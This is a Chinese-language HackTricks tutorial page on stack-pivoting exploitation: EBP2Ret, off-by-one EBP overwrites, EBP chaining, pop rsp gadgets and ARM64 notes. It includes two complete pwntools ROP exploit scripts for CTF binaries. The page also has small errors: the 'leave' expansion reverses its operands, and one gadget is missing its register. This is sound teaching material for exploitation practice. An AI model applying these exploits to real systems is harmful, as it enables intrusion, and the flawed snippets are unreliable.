# Stack Pivoting - EBP2Ret - EBP chaining {% hint style="success" %} 学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
{% endhint %} ## 基本信息 该技术利用操控 **基指针 (EBP)** 的能力,通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。 作为提醒,**`leave`** 基本上意味着: ``` mov ebp, esp pop ebp ret ``` And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. ### EBP2Ret 这个技术在你可以**更改 EBP 寄存器但没有直接方法更改 EIP 寄存器**时特别有用。它利用了函数执行完毕后的行为。 如果在 `fvuln` 执行期间,你设法在栈中注入一个指向内存中你 shellcode 地址的**假 EBP**(加上 4 字节以考虑 `pop` 操作),你可以间接控制 EIP。当 `fvuln` 返回时,ESP 被设置为这个构造的位置,随后的 `pop` 操作将 ESP 减少 4,**有效地使其指向攻击者在其中存储的地址。**\ 注意你**需要知道 2 个地址**:ESP 将要去的地址,以及你需要在 ESP 指向的地方写入的地址。 #### Exploit Construction 首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。 然后,你需要知道 `ret` 使用的地址,这将**执行任意代码**。你可以使用: * 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 地址。 * **`system()`** 的地址,后面跟 **4 个垃圾字节** 和 `"/bin/sh"` 的地址(x86 位)。 * 一个 **`jump esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟要执行的 **shellcode**。 * 一些 [**ROP**](../rop-return-oriented-programing/) 链 请记住,在受控内存的任何这些地址之前,必须有**`4` 字节**,因为 **`pop`** 部分的 `leave` 指令。可以利用这 4B 设置一个**第二个假 EBP**,并继续控制执行。 #### Off-By-One Exploit 这个技术有一个特定的变体,称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置与 **`ret`** 必须共享前 3 个字节,从而允许在更受限的条件下进行类似的操作。\ 通常会修改字节 0x00t 以尽可能远地跳转。 此外,通常在栈中使用 RET sled,并将真实的 ROP 链放在末尾,以使新的 ESP 更有可能指向 RET SLED 内部,并执行最终的 ROP 链。 ### **EBP Chaining** 因此,将一个受控地址放入栈的 `EBP` 条目中,并在 `EIP` 中放入一个 `leave; ret` 的地址,可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。 现在,**`ESP`** 被控制,指向一个期望的地址,下一条要执行的指令是 `RET`。为了利用这一点,可以在受控的 ESP 位置放置以下内容: * **`&(next fake EBP)`** -> 由于 `leave` 指令中的 `pop ebp` 加载新的 EBP * **`system()`** -> 由 `ret` 调用 * **`&(leave;ret)`** -> 在 system 结束后调用,它将 ESP 移动到假 EBP 并重新开始 * **`&("/bin/sh")`**-> `system` 的参数 基本上,这种方式可以链接多个假 EBP 来控制程序的流程。 这就像一个 [ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。 此外,这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这个技术与 **stack leak** 来调用一个获胜函数。这是页面的最终有效载荷: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP 可能未被使用 正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化编译的,**EBP 永远无法控制 ESP**,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。\ 这是因为如果二进制文件经过优化,**前言和尾声会发生变化**。 * **未优化:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` * **优化:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## 其他控制 RSP 的方法 ### **`pop rsp`** gadget [**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp 查看 ret2esp 技术: {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) {% endcontent-ref %} ## 参考资料与其他示例 * [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) * [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * 64 位,使用以 ret sled 开头的 rop 链进行越界利用 * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) * 64 位,无 relro、canary、nx 和 pie。该程序提供了堆栈或 pie 的泄漏和一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。 ## ARM64 在 ARM64 中,函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。 因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。 * 前言 ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP 指向帧记录 ``` * 尾声 ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` {% hint style="danger" %} 在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**(通过控制某个寄存器的值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。 {% endhint %} 在以下页面中,你可以看到 **ARM64 中的 Ret2esp 等价物**: {% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} [ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md) {% endcontent-ref %} {% hint style="success" %} 学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ 学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
支持 HackTricks * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
{% endhint %}